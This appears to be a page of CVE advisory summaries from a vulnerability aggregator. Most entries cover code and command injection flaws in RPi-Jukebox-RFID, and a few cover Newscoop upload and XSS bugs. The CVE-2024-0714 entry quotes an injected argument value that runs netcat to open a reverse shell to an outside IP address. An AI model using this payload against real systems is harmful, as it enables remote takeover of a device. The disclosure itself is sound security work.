CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41369
https://notcve.org/view.php?id=CVE-2024-41369
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\inc.setWifi.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2401 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41361
https://notcve.org/view.php?id=CVE-2024-41361
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\manageFilesFolders.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2398 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41364
https://notcve.org/view.php?id=CVE-2024-41364
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\trackEdit.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2400 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41367
https://notcve.org/view.php?id=CVE-2024-41367
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\api\playlist\appendFileToPlaylist.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2397 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41368
https://notcve.org/view.php?id=CVE-2024-41368
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\inc.setWlanIpMail.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2396 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 10.0EPSS: 0%CPEs: 2EXPL: 0CVE-2024-41366
https://notcve.org/view.php?id=CVE-2024-41366
29 Aug 2024 — RPi-Jukebox-RFID v2.7.0 was discovered to contain a remote code execution (RCE) vulnerability via htdocs\userScripts.php • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/2399 • CWE-94: Improper Control of Generation of Code ('Code Injection') •
CVSS: 9.8EPSS: 0%CPEs: 1EXPL: 0CVE-2024-0714 – MiczFlor RPi-Jukebox-RFID HTTP Request userScripts.php os command injection
https://notcve.org/view.php?id=CVE-2024-0714
19 Jan 2024 — A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. • https://vuldb.com/?ctiid.251540 • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') •
CVSS: 10.0EPSS: 0%CPEs: 1EXPL: 1CVE-2022-36749
https://notcve.org/view.php?id=CVE-2022-36749
30 Aug 2022 — RPi-Jukebox-RFID v2.3.0 was discovered to contain a command injection vulnerability via the component /htdocs/utils/Files.php. This vulnerability is exploited via a crafted payload injected into the file name of an uploaded file. Se ha detectado que RPi-Jukebox-RFID versión v2.3.0, contiene una vulnerabilidad de inyección de comandos por medio del componente /htdocs/utils/Files.php. Esta vulnerabilidad es explotado por medio de una carga útil diseñada que es inyectada en el nombre de un archivo cargado • https://github.com/MiczFlor/RPi-Jukebox-RFID/issues/1859 • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') •
CVSS: 7.8EPSS: 0%CPEs: 1EXPL: 1CVE-2020-11807
https://notcve.org/view.php?id=CVE-2020-11807
19 May 2020 — Because of Unrestricted Upload of a File with a Dangerous Type, Sourcefabric Newscoop 4.4.7 allows an authenticated user to execute arbitrary PHP code (and sometimes terminal commands) on a server by making an avatar update and then visiting the avatar file under the /images/ path. Debido a una Carga Sin Restricciones de un archivo con un Dangerous Type, Sourcefabric Newscoop versión 4.4.7, permite a un usuario autenticado ejecutar código PHP arbitrario (y, a veces, comandos de terminal) en un servidor al r... • https://gist.github.com/V-Rico/82e9e52ac451dc20eef87b0999b3b1ee • CWE-434: Unrestricted Upload of File with Dangerous Type •
CVSS: 6.1EPSS: 0%CPEs: 6EXPL: 0CVE-2013-0730
https://notcve.org/view.php?id=CVE-2013-0730
22 Feb 2013 — Multiple cross-site scripting (XSS) vulnerabilities in Newscoop 4.x through 4.1.0 allow remote attackers to inject arbitrary web script or HTML via vectors involving the (1) language parameter to application/modules/admin/controllers/LanguagesController.php or (2) user parameter to application/modules/admin/controllers/UserController.php. Múltiples vulnerabilidades de ejecución de secuencias de comandos en sitios cruzados (XSS) en Newscoop v4.x hasta v4.1.0, permite a atacantes remotos inyectar secuencias d... • http://forum.sourcefabric.org/discussion/15052/security-patch-released-for-newscoop-4-1 • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') •